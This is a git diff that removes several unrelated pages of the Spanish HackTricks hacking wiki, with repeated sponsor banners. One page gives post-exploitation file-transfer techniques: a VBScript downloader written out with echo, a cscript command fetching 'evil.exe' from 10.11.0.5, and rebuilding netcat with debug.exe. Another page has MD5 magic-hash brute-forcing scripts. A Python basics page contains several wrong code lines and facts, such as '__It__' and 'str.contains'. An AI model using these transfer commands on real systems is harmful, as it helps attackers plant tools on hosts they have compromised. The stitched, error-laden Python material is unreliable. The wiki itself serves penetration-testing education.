echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
|
||||
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
|
||||
echo strData = "" >> wget.vbs
|
||||
echo strBuffer = "" >> wget.vbs
|
||||
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
|
||||
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
|
||||
echo Next >> wget.vbs
|
||||
echo ts.Close >> wget.vbs
|
||||
```
|
||||
|
||||
```bash
|
||||
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
||||
```
|
||||
## Debug.exe
|
||||
|
||||
Esta es una técnica loca que funciona en máquinas Windows de 32 bits. La idea es usar el programa `debug.exe`. Se utiliza para inspeccionar binarios, como un depurador. Pero también puede reconstruirlos a partir de hexadecimales. Entonces, la idea es que tomemos binarios, como `netcat`. Y luego lo desensamblamos en hexadecimales, lo pegamos en un archivo en la máquina comprometida y luego lo ensamblamos con `debug.exe`.
|
||||
|
||||
`Debug.exe` solo puede ensamblar 64 kb. Entonces necesitamos usar archivos más pequeños que eso. Podemos usar upx para comprimirlo aún más. Así que hagámoslo:
|
||||
```
|
||||
upx -9 nc.exe
|
||||
```
|
||||
Ahora solo pesa 29 kb. Perfecto. Ahora vamos a desensamblarlo:
|
||||
```
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
Ahora simplemente copiamos y pegamos el texto en nuestra shell de Windows. Y automáticamente creará un archivo llamado nc.exe
|
||||
|
||||
## DNS
|
||||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png" alt="" data-size="original">\
|
||||
**Consejo de recompensa por errores**: **regístrese** en **Intigriti**, una plataforma premium de **recompensa por errores creada por hackers, para hackers**! ¡Únase a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comience a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
@ -1,37 +0,0 @@
|
||||
# Escape de Sandbox de Python y Pyscript
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**Páginas interesantes para revisar:**
|
||||
|
||||
* [**Trucos de hacking de Pyscript**](pyscript.md)
|
||||
* [**Deserializaciones de Python**](../../pentesting-web/deserialization/#python)
|
||||
* [**Trucos para evadir las sandboxes de Python**](bypass-python-sandboxes/)
|
||||
* [**Sintaxis básica de solicitudes web en Python**](web-requests.md)
|
||||
* [**Sintaxis básica y bibliotecas de Python**](basic-python.md)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
@ -1,327 +0,0 @@
|
||||
# Python Básico
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Conceptos básicos de Python
|
||||
|
||||
### Información útil
|
||||
|
||||
list(xrange()) == range() --> En python3 range es el xrange de python2 (no es una lista sino un generador)\
|
||||
La diferencia entre una tupla y una lista es que la posición de un valor en una tupla le da significado, mientras que las listas son solo valores ordenados. Las tuplas tienen estructuras pero las listas tienen un orden.
|
||||
|
||||
### Operaciones principales
|
||||
|
||||
Para elevar un número se utiliza: 3\*\*2 (no 3^2)\
|
||||
Si haces 2/3 devuelve 1 porque estás dividiendo dos enteros (integers). Si quieres decimales debes dividir floats (2.0/3.0).\
|
||||
i >= j\
|
||||
i <= j\
|
||||
i == j\
|
||||
i != j\
|
||||
a and b\
|
||||
a or b\
|
||||
not a\
|
||||
float(a)\
|
||||
int(a)\
|
||||
str(d)\
|
||||
ord("A") = 65\
|
||||
chr(65) = 'A'\
|
||||
hex(100) = '0x64'\
|
||||
hex(100)\[2:] = '64'\
|
||||
isinstance(1, int) = True\
|
||||
"a b".split(" ") = \['a', 'b']\
|
||||
" ".join(\['a', 'b']) = "a b"\
|
||||
"abcdef".startswith("ab") = True\
|
||||
"abcdef".contains("abc") = True\
|
||||
"abc\n".strip() = "abc"\
|
||||
"apbc".replace("p","") = "abc"\
|
||||
dir(str) = Lista de todos los métodos disponibles\
|
||||
help(str) = Definición de la clase str\
|
||||
"a".upper() = "A"\
|
||||
"A".lower() = "a"\
|
||||
"abc".capitalize() = "Abc"\
|
||||
sum(\[1,2,3]) = 6\
|
||||
sorted(\[1,43,5,3,21,4])
|
||||
|
||||
**Unir caracteres**\
|
||||
3 \* ’a’ = ‘aaa’\
|
||||
‘a’ + ‘b’ = ‘ab’\
|
||||
‘a’ + str(3) = ‘a3’\
|
||||
\[1,2,3]+\[4,5]=\[1,2,3,4,5]
|
||||
|
||||
**Partes de una lista**\
|
||||
‘abc’\[0] = ‘a’\
|
||||
'abc’\[-1] = ‘c’\
|
||||
'abc’\[1:3] = ‘bc’ desde \[1] hasta \[2]\
|
||||
"qwertyuiop"\[:-1] = 'qwertyuio'
|
||||
|
||||
**Comentarios**\
|
||||
\# Comentario de una línea\
|
||||
"""\
|
||||
Comentario de varias líneas\
|
||||
Otro\
|
||||
"""
|
||||
|
||||
**Bucles**
|
||||
```
|
||||
if a:
|
||||
#somethig
|
||||
elif b:
|
||||
#something
|
||||
else:
|
||||
#something
|
||||
|
||||
while(a):
|
||||
#comething
|
||||
|
||||
for i in range(0,100):
|
||||
#something from 0 to 99
|
||||
|
||||
for letter in "hola":
|
||||
#something with a letter in "hola"
|
||||
```
|
||||
### Tuplas
|
||||
|
||||
t1 = (1,'2,'tres')\
|
||||
t2 = (5,6)\
|
||||
t3 = t1 + t2 = (1, '2', 'tres', 5, 6)\
|
||||
(4,) = Singelton\
|
||||
d = () tupla vacía\
|
||||
d += (4,) --> Añadir a una tupla\
|
||||
NO SE PUEDE! --> t1\[1] == 'Nuevo valor'\
|
||||
list(t2) = \[5,6] --> De tupla a lista
|
||||
|
||||
### Lista (array)
|
||||
|
||||
d = \[] vacía\
|
||||
a = \[1,2,3]\
|
||||
b = \[4,5]\
|
||||
a + b = \[1,2,3,4,5]\
|
||||
b.append(6) = \[4,5,6]\
|
||||
tuple(a) = (1,2,3) --> De lista a tupla
|
||||
|
||||
### Diccionario
|
||||
|
||||
d = {} vacío\
|
||||
monthNumbers={1:’Ene’, 2: ‘feb’,’feb’:2}—> monthNumbers ->{1:’Ene’, 2: ‘feb’,’feb’:2}\
|
||||
monthNumbers\[1] = ‘Ene’\
|
||||
monthNumbers\[‘feb’] = 2\
|
||||
list(monthNumbers) = \[1,2,’feb’]\
|
||||
monthNumbers.values() = \[‘Ene’,’feb’,2]\
|
||||
keys = \[k for k in monthNumbers]\
|
||||
a={'9':9}\
|
||||
monthNumbers.update(a) = {'9':9, 1:’Ene’, 2: ‘feb’,’feb’:2}\
|
||||
mN = monthNumbers.copy() #Copia independiente\
|
||||
monthNumbers.get('key',0) #Comprueba si la clave existe, devuelve el valor de monthNumbers\["key"] o 0 si no existe
|
||||
|
||||
### Conjunto
|
||||
|
||||
En los conjuntos no hay repeticiones\
|
||||
myset = set(\['a', 'b']) = {'a', 'b'}\
|
||||
myset.add('c') = {'a', 'b', 'c'}\
|
||||
myset.add('a') = {'a', 'b', 'c'} #No hay repeticiones\
|
||||
myset.update(\[1,2,3]) = set(\['a', 1, 2, 'b', 'c', 3])\
|
||||
myset.discard(10) #Si está presente, lo elimina, si no, no hace nada\
|
||||
myset.remove(10) #Si está presente, lo elimina, si no, lanza una excepción\
|
||||
myset2 = set(\[1, 2, 3, 4])\
|
||||
myset.union(myset2) #Valores de myset O myset2\
|
||||
myset.intersection(myset2) #Valores en myset Y myset2\
|
||||
myset.difference(myset2) #Valores en myset pero no en myset2\
|
||||
myset.symmetric\_difference(myset2) #Valores que no están en myset Y myset2 (no en ambos)\
|
||||
myset.pop() #Obtiene el primer elemento del conjunto y lo elimina\
|
||||
myset.intersection\_update(myset2) #myset = Elementos en ambos myset y myset2\
|
||||
myset.difference\_update(myset2) #myset = Elementos en myset pero no en myset2\
|
||||
myset.symmetric\_difference\_update(myset2) #myset = Elementos que no están en ambos
|
||||
|
||||
### Clases
|
||||
|
||||
El método en \_\_It\_\_ será el utilizado por sort para comparar si un objeto de esta clase es mayor que otro.
|
||||
```python
|
||||
class Person(name):
|
||||
def __init__(self,name):
|
||||
self.name= name
|
||||
self.lastName = name.split(‘ ‘)[-1]
|
||||
self.birthday = None
|
||||
def __It__(self, other):
|
||||
if self.lastName == other.lastName:
|
||||
return self.name < other.name
|
||||
return self.lastName < other.lastName #Return True if the lastname is smaller
|
||||
|
||||
def setBirthday(self, month, day. year):
|
||||
self.birthday = date tame.date(year,month,day)
|
||||
def getAge(self):
|
||||
return (date time.date.today() - self.birthday).days
|
||||
|
||||
|
||||
class MITPerson(Person):
|
||||
nextIdNum = 0 # Attribute of the Class
|
||||
def __init__(self, name):
|
||||
Person.__init__(self,name)
|
||||
self.idNum = MITPerson.nextIdNum —> Accedemos al atributo de la clase
|
||||
MITPerson.nextIdNum += 1 #Attribute of the class +1
|
||||
|
||||
def __it__(self, other):
|
||||
return self.idNum < other.idNum
|
||||
```
|
||||
### map, zip, filter, lambda, sorted y one-liners
|
||||
|
||||
**Map** es como: \[f(x) para x en iterable] --> map(tupla,\[a,b]) = \[(1,2,3),(4,5)]\
|
||||
m = map(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) --> \[False, False, True, False, False, True, False, False, True]
|
||||
|
||||
**zip** se detiene cuando el más corto de foo o bar se detiene:
|
||||
```
|
||||
for f, b in zip(foo, bar):
|
||||
print(f, b)
|
||||
```
|
||||
**Lambda** se utiliza para definir una función\
|
||||
(lambda x,y: x+y)(5,3) = 8 --> Usa lambda como una **función** simple\
|
||||
**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> Usa lambda para ordenar una lista\
|
||||
m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> Usa lambda para filtrar\
|
||||
**reduce** (lambda x,y: x\*y, \[1,2,3,4]) = 24
|
||||
```
|
||||
def make_adder(n):
|
||||
return lambda x: x+n
|
||||
plus3 = make_adder(3)
|
||||
plus3(4) = 7 # 3 + 4 = 7
|
||||
|
||||
class Car:
|
||||
crash = lambda self: print('Boom!')
|
||||
my_car = Car(); my_car.crash() = 'Boom!'
|
||||
```
|
||||
mult1 = \[x for x in \[1, 2, 3, 4, 5, 6, 7, 8, 9] if x%3 == 0 ]
|
||||
|
||||
### Excepciones
|
||||
```
|
||||
def divide(x,y):
|
||||
try:
|
||||
result = x/y
|
||||
except ZeroDivisionError, e:
|
||||
print “division by zero!” + str(e)
|
||||
except TypeError:
|
||||
divide(int(x),int(y))
|
||||
else:
|
||||
print “result i”, result
|
||||
finally
|
||||
print “executing finally clause in any case”
|
||||
```
|
||||
### Assert()
|
||||
|
||||
Si la condición es falsa, la cadena se imprimirá en la pantalla.
|
||||
```
|
||||
def avg(grades, weights):
|
||||
assert not len(grades) == 0, 'no grades data'
|
||||
assert len(grades) == 'wrong number grades'
|
||||
```
|
||||
### Generadores, yield
|
||||
|
||||
Un generador, en lugar de devolver algo, "produce" algo. Cuando se accede a él, "devuelve" el primer valor generado, luego, se puede acceder de nuevo y devolverá el siguiente valor generado. Por lo tanto, no se generan todos los valores al mismo tiempo y se puede ahorrar mucha memoria utilizando esto en lugar de una lista con todos los valores.
|
||||
```
|
||||
def myGen(n):
|
||||
yield n
|
||||
yield n + 1
|
||||
```
|
||||
g = myGen(6) --> 6\
|
||||
next(g) --> 7\
|
||||
next(g) --> Error
|
||||
|
||||
### Expresiones Regulares
|
||||
|
||||
import re\
|
||||
re.search("\w","hola").group() = "h"\
|
||||
re.findall("\w","hola") = \['h', 'o', 'l', 'a']\
|
||||
re.findall("\w+(la)","hola caracola") = \['la', 'la']
|
||||
|
||||
**Significados especiales:**\
|
||||
. --> Todo\
|
||||
\w --> \[a-zA-Z0-9\_]\
|
||||
\d --> Número\
|
||||
\s --> Carácter de espacio en blanco\[ \n\r\t\f]\
|
||||
\S --> Carácter que no es espacio en blanco\
|
||||
^ --> Empieza con\
|
||||
$ --> Termina con\
|
||||
\+ --> Uno o más\
|
||||
\* --> 0 o más\
|
||||
? --> 0 o 1 ocurrencias
|
||||
|
||||
**Opciones:**\
|
||||
re.search(pat,str,re.IGNORECASE)\
|
||||
IGNORECASE\
|
||||
DOTALL --> Permite que el punto coincida con saltos de línea\
|
||||
MULTILINE --> Permite que ^ y $ coincidan en diferentes líneas
|
||||
|
||||
re.findall("<.\*>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>foo\</b>and\<i>so on\</i>']\
|
||||
re.findall("<.\*?>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>', '\</b>', '\<i>', '\</i>']
|
||||
|
||||
IterTools\
|
||||
**product**\
|
||||
from **itertools** import product --> Genera combinaciones entre 1 o más listas, quizás repitiendo valores, producto cartesiano (propiedad distributiva)\
|
||||
print list(**product**(\[1,2,3],\[3,4])) = \[(1, 3), (1, 4), (2, 3), (2, 4), (3, 3), (3, 4)]\
|
||||
print list(**product**(\[1,2,3],repeat = 2)) = \[(1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (3, 3)]
|
||||
|
||||
**permutations**\
|
||||
from **itertools** import **permutations** --> Genera combinaciones de todos los caracteres en cada posición\
|
||||
print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), ('2', '1', '3'),... Cada combinación posible\
|
||||
print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Cada combinación posible de longitud 2
|
||||
|
||||
**combinations**\
|
||||
from itertools import **combinations** --> Genera todas las combinaciones posibles sin caracteres repetidos (si existe "ab", no genera "ba")\
|
||||
print(list(**combinations**('123',2))) --> \[('1', '2'), ('1', '3'), ('2', '3')]
|
||||
|
||||
**combinations\_with\_replacement**\
|
||||
from itertools import **combinations\_with\_replacement** --> Genera todas las combinaciones posibles desde el carácter en adelante (por ejemplo, el tercero se mezcla a partir del tercero en adelante pero no con el segundo o el primero)\
|
||||
print(list(**combinations\_with\_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3')]
|
||||
|
||||
### Decoradores
|
||||
|
||||
Decorador que mide el tiempo que necesita una función para ejecutarse (de [aquí](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)):
|
||||
```python
|
||||
from functools import wraps
|
||||
import time
|
||||
def timeme(func):
|
||||
@wraps(func)
|
||||
def wrapper(*args, **kwargs):
|
||||
print("Let's call our decorated function")
|
||||
start = time.time()
|
||||
result = func(*args, **kwargs)
|
||||
print('Execution time: {} seconds'.format(time.time() - start))
|
||||
return result
|
||||
return wrapper
|
||||
|
||||
@timeme
|
||||
def decorated_func():
|
||||
print("Decorated func!")
|
||||
```
|
||||
Si lo ejecutas, verás algo como lo siguiente:
|
||||
```
|
||||
Let's call our decorated function
|
||||
Decorated func!
|
||||
Execution time: 4.792213439941406e-05 seconds
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
@ -1,80 +0,0 @@
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
target = '2f2e2e' #/..
|
||||
candidate = 0
|
||||
while True:
|
||||
plaintext = str(candidate)
|
||||
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
|
||||
if hash[-1*(len(target)):] == target: #End in target
|
||||
print('plaintext:"' + plaintext + '", md5:' + hash)
|
||||
break
|
||||
candidate = candidate + 1
|
||||
```
|
||||
|
||||
```python
|
||||
#From isHaacK
|
||||
import hashlib
|
||||
from multiprocessing import Process, Queue, cpu_count
|
||||
|
||||
|
||||
def loose_comparison(queue, num):
|
||||
target = '0e'
|
||||
plaintext = f"a_prefix{str(num)}a_suffix"
|
||||
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
|
||||
|
||||
if hash[:len(target)] == target and not any(x in "abcdef" for x in hash[2:]):
|
||||
print('plaintext: ' + plaintext + ', md5: ' + hash)
|
||||
queue.put("done") # triggers program exit
|
||||
|
||||
def worker(queue, thread_i, threads):
|
||||
for num in range(thread_i, 100**50, threads):
|
||||
loose_comparison(queue, num)
|
||||
|
||||
def main():
|
||||
procs = []
|
||||
queue = Queue()
|
||||
threads = cpu_count() # 2
|
||||
|
||||
for thread_i in range(threads):
|
||||
proc = Process(target=worker, args=(queue, thread_i, threads ))
|
||||
proc.daemon = True # kill all subprocess when main process exits.
|
||||
procs.append(proc)
|
||||
proc.start()
|
||||
|
||||
while queue.empty(): # exits when a subprocess is done
|
||||
pass
|
||||
return 0
|
||||
|
||||
main()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
File diff suppressed because it is too large
Load Diff
@ -1,239 +0,0 @@
|
||||
# LOAD\_NAME / LOAD\_CONST opcode OOB Read
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Esta información fue tomada** [**de este artículo**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
|
||||
|
||||
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
|
||||
|
||||
